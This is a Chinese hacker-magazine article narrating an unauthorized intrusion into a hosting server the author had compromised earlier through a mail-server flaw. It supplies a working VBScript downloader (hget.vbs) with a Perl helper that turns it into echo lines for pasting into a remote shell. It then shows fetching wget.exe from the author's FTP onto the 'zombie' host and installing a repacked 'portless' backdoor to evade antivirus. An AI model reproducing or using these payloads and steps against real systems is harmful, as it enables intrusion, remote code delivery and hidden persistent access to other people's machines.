| 关键词: width screen 一个 如图 vbsecho 肉鸡 hget 300 还是 sGet |
新年前夕的不眠之夜——记一次完整入侵过程文章作者:孟方明[-273℃@EST]信息来源:邪恶八进制 中国 http://blog.eviloctal.com/superlone/发表于《黑客X档案》某期杂志上(具体哪期我确实给忘了)还记得不久前因为一个imail漏洞而轻松得到了一个虚拟主机的最高权限,事隔也有一个多星期了吧。本以为通知了管理员,应该早就打上了(该漏洞的修补是很容易的)。晚上1点1刻,我完成了另一篇稿子的抓图工作后突然想去看看。结果却让我甚是无奈,如图一。screen.width-300)this.width=screen.width-300" border=0>既然你那么不珍惜,我不要白不要了,可让我没想到的是明明已经得到了system权限,整个入侵过程还是伤透了我的脑筋。为什么??请往下看。第一章 午夜被困现在是凌晨1点25分33秒,在我决定入侵的N秒后,从图一中的 sourcepath = "\device\cdrom0\" 首先判断该操作系统是2000 pro(这种判断是我常用的判断方式,一般情况如果你在查看c:\wintnt\ssytem32\$winnt$.inf这个文件时发现sourcepath =后面的内容是"\device\cdrom0\"或者 "\device\cdrom0\PRO\"时说明系统是2000 pro,如果在其后出现了SVR等字样时说明是2000服务器版,可是我在这里却判断错了,详情请继续往下看)。这个shell本来就是system权限的,所以不存在权限提升的问题了,本来想新建一个管理员,然后开个telnet算了。可是这个方法很快就被否定了,因为对方只开放了21,25,80,110四个端口,而我在shell里用netstat -an却发现不只这几个开放端口,所以判断很可能有防火墙,那么主动连接型的后门估计是没戏了。先不管这个了,看看该怎么上传吧!这个难不倒我,第一个上的是tftp,熟练地操作完毕,结果如图二。screen.width-300)this.width=screen.width-300" border=0>汗……看样子没那么简单。没关系,不是还有ftp嘛,先把东东上传到偶的私人ftp上,然后在肉鸡上如图三那样操作,晕!竟然会出那种错误,我有点坐不住了!screen.width-300)this.width=screen.width-300" border=0>剩下的半个小时,我就是在不断的更换再更换,尝试再尝试已知的上传方式中度过。在这段时间里,唯一的收获就是找到了该虚拟主机的web目录,于是我曾经尝试用echo命令一行一行地将一个有上传功能的asp写入到肉鸡的web目录里,以便用http方式来上传。可是写到一半就卡住,原因就是那个该死的"&"符号,大家都知道在cmd下"&"是用来连接两个命令的,在asp的代码里会经常"&"是用来连接字符串的,这就出了问题,在我用echo命令写入 file.SaveAs Server.mappath(formPath&file.FileName) 时出现了如图四的问题。screen.width-300)this.width=screen.width-300" border=0>在当时我可真是绝望透顶了,因为我并不知道该怎么把"&"解决掉(不过后来过了几天,我才知道再"&"前面加一个"^"就可以解决了!!!我差点没气死!!)。于是,我又在极度失望中找寻新的上传方法。第二章 梦醒时分在我证实了肉鸡上的cscript.exe还是可用的后(不信管理员还能把它也干掉?),决定还是把思路放到vbs上。要找一个既可以上传又不需要"&"的vbs……对了!!记得在灰色看到过一个vbs脚本叫iget.vbs可以用XMLHTTP对象使用http将一个文件下载到本地!!于是赶紧的找到iget.vbs看看,发现代码挺长而且也有"&"。再仔细阅读代码后发现,真正实现下载功能的就那么几行我整理成一个hget.vbs,内容如下: On Error Resume NextDim iRemote,iLocaliLocal = LCase(WScript.Arguments(1))iRemote = LCase(WScript.Arguments(0))Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0xPost.Send()Set sGet = createObject("ADODB.Stream")sGet.Mode = 3sGet.Type = 1sGet.Open()sGet.Write(xPost.responseBody)sGet.SaveToFile iLocal,2哈哈!!不错!代码不长,而且也没有"&"!!不过似乎还是长了点,用echo命令一个一个来还是显得麻烦。于是又想了一个办法,用perl写了一个脚本echo.pl,内容如下: #!usr/bin/perl -wmy $file=shift;open(MINE,$file);open(TEMP,">done.txt");@data=<MINE>;chop @data;foreach (@data) { $_='echo '."$_"." >>$file";print TEMP "$_\n";}close MINE;close TEMP;这样,我在cmd下输入echo.pl hget.vbs回车后(当然你必须安装了activeperl),就会在同目录下生成一个done.txt,内容如下:echo On Error Resume Next >>hget.vbsecho Dim iRemote,iLocal >>hget.vbsecho iLocal=LCase(WScript.Arguments(1)) >>hget.vbsecho iRemote=LCase(WScript.Arguments(0)) >>hget.vbsecho Set xPost=createObject("Microsoft.XMLHTTP") >>hget.vbsecho xPost.Open "GET",iRemote,0 >>hget.vbsecho xPost.Send() >>hget.vbsecho Set sGet=createObject("ADODB.Stream") >>hget.vbsecho sGet.Mode = 3 >>hget.vbsecho sGet.Type = 1 >>hget.vbsecho sGet.Open() >>hget.vbsecho sGet.Write(xPost.responseBody) >>hget.vbsecho sGet.SaveToFile iLocal,2 >>hget.vbs这样就方便多了,然后我就可以全部复制,然后在肉鸡的shell里单击鼠标右键就搞定了!如图五。screen.width-300)this.width=screen.width-300" border=0>哈哈成功写入!!赶紧的试试看是否可以用如图六。screen.width-300)this.width=screen.width-300" border=0>程序停止了一段时间(这段时间要看你的要下载的东东的大小了)。看到了嘛,那个wget.exe乖乖地躺在那呢(wget.exe是个cmd下的下载工具,为什么要下载它呢?因为那个hget.vbs毕竟不太好用,所以下个wget.exe方便点)。好了!!一切似乎顺利得多了!下一步该找一个好的后门了。第三章 这张旧船票还能登上你的船根据肉鸡实际情况的考虑,用主动型的后门是不行的。那么最好用反弹的,但是像灰鸽子之类的体积大不说了,能不能逃过"条子"的眼睛还是个问题。找来找去,还是觉得portless好,体积小,平时不开端口,想用的时候就可以激活。不过这个后门也被"条子"们给盯上了,还好还有没加过"伪装"的程序,在本地配置好portless后(培植方法就不多说了,地球人都知道),换了一个新壳再上传到我的个人ftp上。然后在肉鸡用wget.exe来下载,如图七。screen.width-300)this.width=screen.width-300" border=0>下载完后就是安装了,如图八。screen.width-300)this.width=screen.width-300" border=0>成功安装!看样子换了壳后逃过了"条子"的监视了。我们来测试一下吧,如图九。screen.width-300)this.width=screen.width-300" border=0>哈哈!!搞定了!!虽然这款后门出现得比较早了,而且被各大杀毒厂商给盯死了,但是由于它的功能确实得强大,所以我们还是要想尽办法来让这张"旧船票"登上我们的肉鸡!!第四章 尾声3点的钟声刚刚敲过,我的入侵也告一段落了。回想一下发现自己学到了不少东西,首先在以前认为查看$winnt$.inf文件来判断系统的版本是很准确的,现在看来并不是那么回事。因为我用portless连接后利用其自带的fport查看时发现,它的22222端口居然关联着termsrv.exe(终端服务),而且利用portless的system info也报告是2000 server,所以我们在以后的学习中,千万不要想当然,必须自己想办法推翻自己的想法,什么时候你推不翻了,才能算你的想法是可能正确的。同时,入侵的方法不是一成不变的,而是灵活多变的。在入侵的时候,如何根据实际情况来判断下一步的动作是关键。比如,我虽然通过上述方法成功后,我又在思考是否还有别的方法。结果我又发现了很多。还是那句话,希望大家通过我的这篇文章学到你想学的东西。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|